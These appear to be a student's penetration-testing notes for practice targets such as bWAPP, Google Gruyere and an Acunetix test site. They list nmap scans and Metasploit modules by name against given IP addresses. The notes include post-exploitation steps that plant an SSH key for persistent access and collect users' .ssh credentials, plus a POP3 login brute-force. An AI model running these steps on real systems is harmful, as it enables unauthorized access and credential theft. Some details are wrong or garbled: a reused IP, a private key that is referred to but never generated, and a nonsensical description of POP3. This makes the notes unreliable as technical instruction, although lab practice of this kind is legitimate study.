Name: BWAPP

* Find the IP address of the website
* Using a domain to IP finder we found the IP address as 31.3.96.40
* Open nmap and use the command sudo nmap -sT 31.3.96.40
* It scans all the open ports
* We found out that port 80,22 are open

Port 80 pen testing using Metasploit:

* Use the commands:

> use auxiliary/scanner/http/http\_version

> show options

> run

* We can navigate to ‘http:// 31.3.96.40/phpinfo.php’ and confirm the information already gathered
* ‘dir\_listing’ will determine if directory listing is enabled:

> use auxiliary/scanner/http/dir\_listing

> show options

> run

* ‘dir\_scanner’ will check for interesting directories:

> use auxiliary/scanner/http/dir\_scanner

> show options

> run

* ‘files\_dir’:

> use auxiliary/scanner/http/files\_dir

> show options

> run

* ‘verb\_auth\_bypass’:

> use auxiliary/scanner/http/verb\_auth\_bypass

> show options

> run

SSH Penetration Testing (Port 22):

* This module will add an SSH key to a specified user (or all), to allow remote login on the victim via SSH at any time.

use post/linux/manage/sshkey\_persistence

msf post(sshkey\_persistence) > set session 1

msf post(sshkey\_persistence) >exploit

* As we ensure this by connecting the host machine via port 22 using a private key generated above. Here I have renamed the private as “key” and gave permission 600.

chmod 600 key

ssh -i key [ignite@31.3.96.40](mailto:ignite@31.3.96.40)

* Consider a situation, that by compromising the host machine you have obtained a meterpreter session and port 22 is open for ssh and you want to steal SSH public key and authorized key. This can be done with the help Metasploit module named “Multi Gather OpenSSH PKI Credentials Collection -a post exploit” as discussed below.
* This module will collect the contents of all users .ssh directories on the targeted machine. Additionally, known\_hosts and authorized\_keys and any other files are also downloaded. This module is largely based on firefox\_creds.rb.

use post/multi/gather/ssh\_creds

msf post(ssh\_creds) >set session 1

msf post(ssh\_creds) >exploit

Name: google-gruyere:

• Find the IP address of the website

• Using a domain to IP finder we found the IP address as 142.251.33.116

• Open nmap and use the command sudo nmap -sT 142.251.33.116

• It scans all the open ports

• We found out that port 80 is open

Port 80 pen testing using Metasploit:

• Use the commands:

> use auxiliary/scanner/http/http\_version

> show options

> run

• We can navigate to ‘http:// 31.3.96.40/phpinfo.php’ and confirm the information already gathered

• ‘dir\_listing’ will determine if directory listing is enabled:

> use auxiliary/scanner/http/dir\_listing

> show options

> run

• ‘dir\_scanner’ will check for interesting directories:

> use auxiliary/scanner/http/dir\_scanner

> show options

> run

• ‘files\_dir’:

> use auxiliary/scanner/http/files\_dir

> show options

> run

• ‘verb\_auth\_bypass’:

> use auxiliary/scanner/http/verb\_auth\_bypass

> show options

> run

Site: Acunetix.com

* Find the IP address of the website
* Using a domain to IP finder we found the IP address as 44.228.249.3
* Open nmap and use the command sudo nmap -sT 44.228.249.3
* It scans all the open ports
* We found out that port 110 are open

POP3 port pen testing:

Pop3 service that is port to port service that is basically PoP stands for port to port

>msfconsole

>use auxiliary/scanner/pop3/pop3\_login

>info

>set RHOST 44.228.249.3

>set BRUTEFORCE\_SPEED 5

>run